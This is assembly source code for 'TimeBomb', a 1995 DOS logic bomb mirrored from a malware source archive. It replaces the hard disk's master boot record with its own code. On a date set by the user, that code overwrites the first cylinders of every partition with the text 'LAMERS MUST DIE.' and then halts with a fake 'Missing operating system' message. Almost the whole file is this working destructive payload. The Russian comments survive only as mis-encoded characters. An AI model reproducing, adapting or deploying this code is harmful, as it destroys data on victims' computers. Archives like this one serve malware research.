mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-21 10:56:10 +00:00
473 lines
10 KiB
NASM
473 lines
10 KiB
NASM
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
; (C) ANS (Armourer) TimeBomb Ver 1.00 25 Jun
|
||
; FIDOnet 2:461/29.444 FreeWare, SourceWare 1995
|
||
;
|
||
;
|
||
; <20>®«®áâìî § ¬¥ï¥â MBR. <20>® ¤®á⨦¥¨¨ ®¯à¥¤¥«¥®© ¤ âë ä â «ì® £à®å ¥â ¢¨â
|
||
;
|
||
; ‘â àë© MBR § ¯¨áë¢ ¥âáï ¢ ä ©« c:\mbr.bak, çâ®¡ë ¬®¦® ¡ë«® ¢®ááâ ®¢¨âì,
|
||
; ¥á«¨ çâ®. “¯à ¢«¥¨ï áâ àë© MBR ¥ ¯®«ãç ¥â, â ª çâ® ¥á«¨ ® ¤¥« « çâ®-â®
|
||
; ¡®«¥¥ 㬮¥, ¥¦¥«¨ § £à㧪 á¨á⥬ë á ªâ¨¢®£® à §¤¥« - TimeBomb ¯à¨¤¥âáï
|
||
; ¯¥à¥¤¥« âì.
|
||
;
|
||
; <20>ਠáà ¡ âë¢ ¨¨ TimeBomb § â¨à îâáï ¯¥à¢ë¥ 4 樫¨¤à ª ¦¤®£® à §¤¥«
|
||
; ¢¨â¥, ¢ª«îç ï «®£¨ç¥áª¨¥ ¤¨áª¨ DOS (extended partition)
|
||
;
|
||
; ‘«¥¤ã¥â § ¬¥â¨âì, çâ® Non-DOS à §¤¥«ë (HPFS, ¯à¨¬¥à) ¯à¨ í⮬ ¯®áâà ¤ îâ
|
||
; ¥§ ç¨â¥«ì® - ¢ á¢ï§¨ á ª®à¥ë¬ ®â«¨ç¨¥¬ ¨å áâàãªâãàë ®â DOS FAT.
|
||
;
|
||
killed_cyl = 4 ; —¨á«® 㡨¢ ¥¬ëå 樫¨¤à®¢ ¢ ª ¦¤®¬ à §¤¥«¥
|
||
xor_value = 73h ; ‡ 票¥ § è¨ä஢ ¨ï ‚ 襣® ¯®á«¥¤¥£® á«®¢ ;-)
|
||
|
||
locals
|
||
cseg segment
|
||
assume cs:cseg
|
||
org 100h
|
||
.286
|
||
start proc near
|
||
;
|
||
; ˆáâ ««ïæ¨ï
|
||
;
|
||
; <20>஢¥à塞 ª®¬ ¤ãî áâபã
|
||
mov si, 80h
|
||
mov bl, byte ptr [si]
|
||
xor bh, bh
|
||
cmp bl, 8
|
||
jnc @@checkdate
|
||
|
||
|
||
help:
|
||
; ‚ ª®¬ ¤®© áâப¥ ¥ 㪠§ ¤ â - ¢ë¢®¤¨¬ ¯®¤áª §ªã
|
||
mov dx, offset @@title
|
||
mov ah, 9
|
||
int 21h
|
||
int 20h
|
||
|
||
|
||
; <20>®«ã票¥ BCD-ç¨á« ¨§ ª®¬. áâப¨
|
||
getBCD proc near
|
||
dec si
|
||
mov ax, word ptr [si+bx] ; <20>¥à¥¬ ¯®á«¥¤¨¥ ¤¢¥ æ¨äàë
|
||
sub ax, '00' ; ASCII -> BIN
|
||
xchg al, ah
|
||
db 0d5h, 10h ; AAD á ¬®¤¨ä¨ª â®à®¬ 16
|
||
cmp al, 9ah
|
||
jnc help
|
||
dec si ; ‘à §ã ¯¥à¥å®¤¨¬ ª á«¥¤ãî饬㠯®«î
|
||
dec si
|
||
retn
|
||
getBCD endp
|
||
|
||
|
||
@@checkdate: ; <20>஢¥à塞 ¤ âã (á ç « £®¤, § ⥬ ¬¥áïæ, § ⥬ ç¨á«®)
|
||
; ¨ ¯à¨¢®¤¨¬ ¥¥ ª 㦮¬ã ä®à¬ âã
|
||
; Š®à४â®áâì ¤ âë ¥ ¯à®¢¥à塞 - ¦â® ¯à®¡«¥¬ ¯®«ì§®¢ ⥫ï -
|
||
; çâ® ® â ¬ ¢¢¥«
|
||
call getBCD ; <20>¥à¥¬ æ¨äàë £®¤
|
||
mov byte ptr year, al ; <20>®«ã稫¨ BCD-year
|
||
cmp byte ptr [bx+si+1], '.' ; <20>஢¥à塞 à §¤¥«¨â¥«ì
|
||
jne help
|
||
call getBCD ; <20>¥à¥¬ æ¨äàë ¬¥áïæ
|
||
mov byte ptr month, al ; <20>®«ã稫¨ BCD-month
|
||
cmp byte ptr [bx+si+1], '.' ; <20>஢¥à塞 à §¤¥«¨â¥«ì
|
||
jne help
|
||
call getBCD ; <20>¥à¥¬ æ¨äàë ¤ï
|
||
mov byte ptr day, al ; <20>®«ã稫¨ BCD-day
|
||
|
||
|
||
@@singledisk:
|
||
;
|
||
; ‡ ¬¥ï¥¬ MBR ¢¨â ᢮¨¬ ª®¤®¬ ¨§ bomb proc
|
||
;
|
||
; —¨â ¥¬ áâ àë© MBR, á®åà 塞 ¥£® ¢ c:\mbr.bak, ¯¨è¥¬ ᥡï
|
||
;
|
||
; —¨â ¥¬ MBR
|
||
mov cx, 1
|
||
mov dx, 80h
|
||
mov ax, 201h
|
||
mov bx, offset buffer
|
||
int 13h
|
||
jnc @@rd_ok
|
||
|
||
mov dx, offset @@rd_err
|
||
|
||
@@err_exit: ; ‚뢮¤ á®®¡é¥¨ï ¨§ DX ¨ ¢ë«¥â ¯® ®è¨¡ª¥
|
||
mov ah, 9
|
||
int 21h
|
||
retn
|
||
|
||
@@rd_ok:
|
||
; ‘®§¤ ¥¬ ä ©«
|
||
mov dx, offset @@fname
|
||
xor cx, cx
|
||
mov ah, 3ch
|
||
int 21h
|
||
jnc @@cr_ok
|
||
|
||
mov dx, offset @@cr_err
|
||
jmp @@err_exit
|
||
|
||
@@cr_ok:
|
||
; <20>¨è¥¬ ¢ ä ©«
|
||
mov bx, ax
|
||
mov cx, 512
|
||
mov dx, offset buffer
|
||
mov ah, 40h
|
||
int 21h
|
||
jnc @@wr_ok
|
||
|
||
mov dx, offset @@wr_err
|
||
jmp @@err_exit
|
||
|
||
@@wr_ok:
|
||
; ‡ ªàë¢ ¥¬ ä ©«
|
||
mov ah, 3eh
|
||
int 21h
|
||
|
||
;
|
||
; <20>¥à¥®á¨¬ ᢮© MBR ¬¥áâ® áâ ண®
|
||
;
|
||
mov si, offset bomb
|
||
mov di, offset buffer
|
||
mov bx, di
|
||
mov cx, di
|
||
sub cx, si
|
||
cld
|
||
rep movsb
|
||
|
||
;
|
||
; ‡ ¯¨áë¢ ¥¬ ®¢ë© MBR ¯®¢¥àå áâ ண®
|
||
;
|
||
mov cx, 1
|
||
mov dx, 80h
|
||
mov ax, 301h
|
||
int 13h
|
||
|
||
mov dx, offset @@mbr_wr_err
|
||
jc @@err_exit
|
||
|
||
mov dx, offset @@done_msg
|
||
jmp @@err_exit
|
||
|
||
|
||
; ‘®®¡é¥¨ï ®¡ ®è¨¡ª å
|
||
@@rd_err: db 'Error read the MBR of C:',13,10,'$'
|
||
@@cr_err: db 'Error creating the '
|
||
@@fname: db 'C:\MBR.BAK',0,'file',13,10,'$'
|
||
@@wr_err: db 'Error writing backup file',13,10,'$'
|
||
@@mbr_wr_err: db 'Error writing new MBR',13,10,'$'
|
||
@@done_msg: db 'Your MBR replaced by TimeBomb',13,10,'$'
|
||
|
||
|
||
; ‡ áâ ¢ª
|
||
@@title:
|
||
db 13,10,10
|
||
db '(C) Armourer TimeBomb Ver 1.00 25 Jun 1995',13,10,10
|
||
db ' Usage: timebomb <date>',13,10,10
|
||
db ' Where <date> is a fatal date for your computer.',13,10
|
||
db ' Date format must be in exUSSR standard: DD.MM.YY',13,10,10
|
||
db 'Good Luck ;)',13,10,'$'
|
||
|
||
start endp
|
||
|
||
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
; ’¥ªáâ ¡®¬¡ë. Š®¬¡¨¨àã¥âáï á MBR (®â MBR ¡¥à¥âáï ¯ àâ¨è)
|
||
;
|
||
; <20>â®â ª®¤ ¡ã¤¥â áâ à⮢ âì á ¤à¥á 0:7c00h
|
||
;
|
||
bomb proc near
|
||
|
||
; <20> áâà ¨¢ ¥¬ á⥪ ¨ ¯¥à¥®á¨¬ MBR, ªã¤ ¤® (0:600h)
|
||
cli
|
||
mov ax, cs
|
||
mov ss, ax
|
||
mov ds, ax
|
||
mov es, ax
|
||
mov si, 7c00h
|
||
mov sp, si
|
||
push si ; <20>⮠㦮 ¤«ï ¯®á«¥¤ãî饣® áâ àâ boot'
|
||
cld
|
||
mov cx, 1beh / 2 ; <20>®á«¥ â ª®£® ¯¥à¥®á SI ¡ã¤¥â 㪠§ë¢ âì
|
||
mov di, 600h ; ¯ àâ¨è
|
||
rep movsw
|
||
|
||
push ax ; ‘¥£¬¥â
|
||
push offset beginbomb - offset bomb + 600h ; ‘¬¥é¥¨¥
|
||
retf
|
||
|
||
|
||
beginbomb:
|
||
; <20>஢¥à塞 ¢à¥¬ï
|
||
mov ah, 4
|
||
int 1ah ; <20>à®ç«¨ ¤ âã ¢ CX:DX
|
||
jc @@skipbomb ; …᫨ ç áë ¥ à ¡®â îâ -> ¯à®¯ã᪠¥¬ ¯à®¢¥àªã
|
||
|
||
year = $ + 2
|
||
cmp cl, 12h ; <20>஢¥à塞 £®¤
|
||
jc @@skipbomb ; ƒ®¤ ¥ ᮢ¯ « ;)
|
||
jne @@explode ; …᫨ íâ®â £®¤ ¯à®è¥« - ¢§àë¢ ¥¬áï ¬¥¤«¥®
|
||
|
||
month = $ + 3
|
||
day = $ + 2
|
||
cmp dx, 1234h ; ˆ¬¥® â ª, çâ®¡ë ¥ ᣥ¥à¨à®¢ «áï
|
||
; ª®à®âª¨© ¢ ਠ⠤«ï CMP
|
||
jc @@skipbomb ; <20>¥ ᮢ¯ « ¤¥ì ¨ ¬¥áïæ
|
||
|
||
|
||
@@explode:
|
||
;
|
||
; ‚ᥠᮢ¯ «®, ¯à¨è« ç¥à ï ¯®à ...
|
||
;
|
||
; ‘â¨à ¥¬ ¯¥à¢ë¥ 樫¨¤àë ª ¦¤®£® à §¤¥« (¢ª«îç ï «®£¨ç¥áª¨¥
|
||
; ¤¨áª¨ DOS)
|
||
;
|
||
; “áâ ¢«¨¢ ¥¬ ¢ ª®¤¥ ¡®¬¡ë ¯ à ¬¥âàë ¢¨â
|
||
mov dl, 80h
|
||
call destroy
|
||
|
||
; “áâ ¢«¨¢ ¥¬ ¯ à ¬¥âàë â®à®£® ¢¨â , ¥á«¨ ® ¥áâì
|
||
ror dl, 1 ; …᫨ ®¤¨ ¤¨áª, ä« £ CF ¡ã¤¥â ãáâ ®¢«¥
|
||
jc @@singledisk
|
||
|
||
mov dl, 81h
|
||
call destroy
|
||
|
||
@@singledisk:
|
||
jmp @@incorrect ; ‚뢮¤¨¬ á®®¡é¥¨¥ "Missing operating ssytem"
|
||
|
||
|
||
@@skipbomb:
|
||
;
|
||
; Žâà ¡®âª ®à¬ «ì®£® ª®¤ MBR
|
||
;
|
||
; ˆé¥¬ § £à㧮çë© à §¤¥«
|
||
mov cl, 4 ; …áâì ¢á¥£® 4 ¢ ਠâ ...
|
||
|
||
@@searchboot: ; –¨ª« ¯®¨áª
|
||
mov dx, word ptr [si] ; ‘à §ã § £à㦠¥¬ ¢ DX â®, ç⮠㦮
|
||
cmp dl, 80h ; <20>â®â à §¤¥« § £à㧮çë© ?
|
||
je @@boot
|
||
|
||
add si, 10h ; <20>¥à¥å®¤¨¬ ª á«¥¤ãî饩 § ¯¨á¨
|
||
loop @@searchboot
|
||
|
||
; <20>¥ 諨 - ¢ë¤ ¥¬ á®®¡é¥¨¥
|
||
@@incorrect:
|
||
call errmsg
|
||
db 'Missing operating system',0
|
||
|
||
|
||
@@boot: ; ‡ £à㦠¥¬ boot-ᥪâ®à ¨ ¯¥à¥¤ ¥¬ ¥¬ã ã¯à ¢«¥¨¥
|
||
mov cx, word ptr [si+2] ; —â® ¤® - ¢ CX
|
||
mov ax, 201h ; —¨â ¥¬ 1 ᥪâ®à
|
||
pop bx ; <20>® ¤à¥áã 0:7c00h
|
||
push bx
|
||
int 13h
|
||
jnc @@exit
|
||
|
||
call errmsg
|
||
db 'Error reading operating system',0
|
||
|
||
@@exit:
|
||
cmp word ptr [bx + 510], 0aa55h
|
||
jne @@incorrect
|
||
retn ; ‡ ¯ã᪠¥¬ boot
|
||
|
||
;
|
||
; <09>®¤¯à®£à ¬¬ë
|
||
;
|
||
|
||
; ‚ë¤ ç á®®¡é¥¨ï ®¡ ®è¨¡ª¥
|
||
errmsg proc near
|
||
sti
|
||
cld
|
||
pop si
|
||
mov ah, 0eh
|
||
@@nextchar:
|
||
lodsb
|
||
or al, al
|
||
je $
|
||
int 10h
|
||
jmp @@nextchar
|
||
errmsg endp
|
||
|
||
|
||
; Ž¡å®¤ ¢á¥å à §¤¥«®¢ ¤¨áª á § ¯¨áìî ¨å ¯ à ¬¥â஢ ¢ ¡ãä¥à
|
||
getpart proc near
|
||
; <20>⮠४ãàᨢ ï äãªæ¨ï.
|
||
; <20> ¢å®¤¥ ¢ SI âॡã¥âáï 㪠§ â¥«ì ®ç¥à¥¤®© à §¤¥«
|
||
; ‚ ¡ãä¥à ¯® ¤à¥áã ES:DI ¯¨èãâáï ¯ à ¬¥âàë ⥪.à §¤¥«
|
||
|
||
mov cx, 4 ; ‘ç¥â稪 à §¤¥«®¢ ¢ ª ¦¤®¬ MBR
|
||
|
||
@@nextpart:
|
||
; <20>஢¥à塞 ⨯ à §¤¥«
|
||
cmp byte ptr [si+4], 0 ; <20>¥¨á¯®«ì§ã¥¬ë© à §¤¥«
|
||
je @@exit
|
||
|
||
; <20>¨è¥¬ ¢ ¡ãä¥à ¯ à ¬¥âàë à §¤¥«
|
||
mov ax, word ptr [si] ; ƒ®«®¢
|
||
stosw
|
||
mov dx, ax ; ƒ®â®¢¨¬áï ª® ¢å®¤ã ¢ ४ãàá¨î
|
||
|
||
disk1 = $ + 1
|
||
mov dl, 80h ; <20>®¬¥à ®¡à ¡ âë¢ ¥¬®£® ¤¨áª
|
||
|
||
mov ax, word ptr [si+2]
|
||
stosw ; –¨«¨¤à/ᥪâ®à
|
||
|
||
; ‘®¢ ¯à®¢¥à塞 ⨯ à §¤¥« - ¥ à áè¨à¥ë© «¨ ® ?
|
||
cmp byte ptr [si+4], 5
|
||
jne @@exit ; <20>¥â - ¨¤¥¬ ¤ «ìè¥
|
||
|
||
; <20>ëà塞 ¢ ४ãàá¨î
|
||
; —¨â ¥¬ MBR à áè¨à¥®£® à §¤¥«
|
||
push cx ; ‘®åà 塞 áç¥â稪
|
||
push si ; ‘®åà 塞 㪠§ ⥫ì à §¤¥«ë
|
||
add bx, 512 ; <20>த¢¨£ ¥¬ 㪠§ â¥«ì ¡ãä¥à
|
||
mov cx, ax ; ‘¥©ç á CX:DX 㪠§ë¢ îâ MBR
|
||
mov ax, 201h ; à áè¨à¥®£® à §¤¥«
|
||
int 13h ; —¨â ¥¬ à áè¨à¥ë© à §¤¥« ¢ 0:BX
|
||
jnc @@rec ; <20>஢¥àª ª®à४â®áâì
|
||
|
||
; ‚ë室¨¬ ¨§ ४ãàᨨ ¢ á«ãç ¥ á¡®ï
|
||
pop si
|
||
pop cx
|
||
sub bx, 512
|
||
jmp @@exit
|
||
|
||
@@rec:
|
||
mov si, bx ; “áâ ¢«¨¢ ¥¬ 㪠§ ⥫ì
|
||
add si, 1beh ; â ¡«¨æã à §¤¥«®¢
|
||
call getpart
|
||
|
||
|
||
@@exit:
|
||
add si, 10h
|
||
loop @@nextpart
|
||
|
||
; ‚ë室 ¨§ ४ãàᨨ
|
||
sub bx, 512
|
||
pop dx
|
||
pop si
|
||
pop cx
|
||
push dx
|
||
retn
|
||
|
||
getpart endp
|
||
|
||
|
||
; “¨ç⮦¥¨¥ ᮤ¥à¦¨¬®£® ⥪ã饣® ¤¨áª
|
||
destroy proc near
|
||
|
||
; <20>®«ãç ¥¬ ¯ à ¬¥âàë ¢¨â , 㪠§ ®£® ¢ DL
|
||
mov byte ptr ds:[offset disk - offset bomb + 600h], dl
|
||
mov byte ptr ds:[offset disk1 - offset bomb + 600h], dl
|
||
mov ah, 8
|
||
int 13h
|
||
mov byte ptr ds:[heads - offset bomb + 600h], dh
|
||
and cl, 63
|
||
mov byte ptr ds:[sectors - offset bomb + 600h], cl
|
||
push dx
|
||
|
||
mov bx, 0a00h ; <20>ãä¥à ¤«ï ç⥨ï MBR à áè¨à¥ëå à §¤¥«®¢
|
||
; <20>® 室㠤¥« ª BX ¡ã¤¥â ¯à¨¡ ¢«ïâìáï ¯® 512 -
|
||
; â ª çâ® ¬ ªá¨¬ «ìë© ã஢¥ì ¢«®¦¥®áâ¨
|
||
; á®áâ ¢¨â 57 à §¤¥«®¢
|
||
mov di, 500h ; <20>ãä¥à ¯®¤ ¯ à ¬¥âàë ¤«ï int 13h (64 ¤¨áª )
|
||
|
||
; <20>¥ªãàᨢ® ®¡å®¤¨¬ «®£¨ç¥áª¨¥ ¤¨áª¨, § ¯¨áë¢ ï ¢ ¡ãä¥à ¯ à ¬¥âàë
|
||
; ¤«ï int 13h
|
||
push si ; Š®à४âë© ¢å®¤ ¢ ४ãàá¨î
|
||
push cx
|
||
|
||
xor ax, ax ; “áâ ®¢ª ¤«ï áâ¨à ¨ï £« ¢®£® MBR
|
||
stosw
|
||
inc ax
|
||
stosw
|
||
|
||
call getpart ; Ž¡å®¤ à §¤¥«®¢
|
||
|
||
|
||
; ‘®§¤ ¥¬ § 票¥ ¯à®¯¨áë¢ ¨ï
|
||
; ‘¥©ç á ¢ bx «¥¦¨â ¤«¨ ¯à®¯¨áë¢ ¥¬ëå ¤ ëå ¢ ¯ à £à ä å - 800h
|
||
push di ; ‘®åà 塞 㪠§ ⥫ì 墮áâ ᯨ᪠¯ à ¬¥â஢
|
||
mov di, bx ; ‚ DI ¡ã¤¥â 㪠§ â¥«ì ¡ãä¥à ¤«ï ¤ ëå
|
||
shl di, 4 ; <20>ãä¥à ¡ã¤¥â à ᯮ« £ âìáï ᮠᬥ饨ï 8000h
|
||
push di ; ‘®åà 塞 ¤à¥á ¡ãä¥à § ¯®«¥¨ï
|
||
|
||
@@nextword:
|
||
mov si, offset lmd - offset bomb + 600h
|
||
mov cx, 16
|
||
@@nextchar:
|
||
lodsb
|
||
xor al, xor_value
|
||
stosb
|
||
loop @@nextchar
|
||
dec bx
|
||
jne @@nextword
|
||
|
||
|
||
; ˆ¤¥¬ § ¤ ¯® ¡ãä¥àã
|
||
pop bx ; ‚®ááâ ¢«¨¢ ¥¬ ¤à¥á ¡ãä¥à
|
||
pop si ; ‚®ááâ ¢«¨¢ ¥¬ 㪠§ â¥«ì ¯ à ¬¥âàë
|
||
mov cx, si ; ‚ëç¨á«ï¥¬ ç¨á«® § â¨à ¥¬ëå à §¤¥«®¢
|
||
sub cx, 500h
|
||
shr cx, 2
|
||
|
||
std
|
||
lodsw ; <20>¥à¥å®¤¨¬ ª ¯®á«¥¤¥© § ¯¨á¨ ¢ ¡ãä¥à¥
|
||
|
||
|
||
@@nextpart:
|
||
push cx ; ‘®åà 塞 áç¥â稪
|
||
|
||
lodsw ; <20>¥à¥¬ ¯ à ¬¥âàë à §¤¥«
|
||
mov cx, ax ; –¨«¨¤à/ᥪâ®à
|
||
lodsw
|
||
mov dx, ax ; ƒ®«®¢
|
||
|
||
disk = $ + 1
|
||
mov dl, 80h ; <20>®¬¥à § â¨à ¥¬®£® ¤¨áª
|
||
|
||
mov si, killed_cyl ; ‘ç¥â稪 㡨¢ ¥¬ëå 樫¨¤à®¢
|
||
|
||
; <20>ய¨áë¢ ¥¬ à §¤¥«
|
||
@@nexthead:
|
||
sectors = $ + 1
|
||
mov ax, 310h ; !!!!
|
||
int 13h
|
||
inc dh ; ‘«¥¤ãîé ï £®«®¢
|
||
|
||
heads = $ + 2
|
||
cmp dh, 16 ; ‚¥áì 樫¨¤à ?
|
||
jne @@nexthead
|
||
|
||
add cx, 64 ; ‘«¥¤ãî騩 樫¨¤à
|
||
xor dh, dh ; <20> ç¨ ¥¬ á ã«¥¢®© £®«®¢ë
|
||
dec si
|
||
jne @@nexthead
|
||
|
||
pop cx ; ‚®ááâ ¢«¨¢ ¥¬ áç¥â稪
|
||
loop @@nextpart ; ¨ ªàã⨬ 横« ¯® à §¤¥« ¬
|
||
|
||
pop dx
|
||
retn
|
||
destroy endp
|
||
|
||
|
||
lmd:
|
||
irpc ch, <LAMERS MUST DIE.>
|
||
db '&ch' xor xor_value
|
||
endm
|
||
|
||
bomb endp
|
||
|
||
|
||
buffer: ; ‘î¤ ¡ã¤¥¬ ç¨â âì áâ àë© mbr
|
||
dw offset buffer - offset bomb
|
||
cseg ends
|
||
end start
|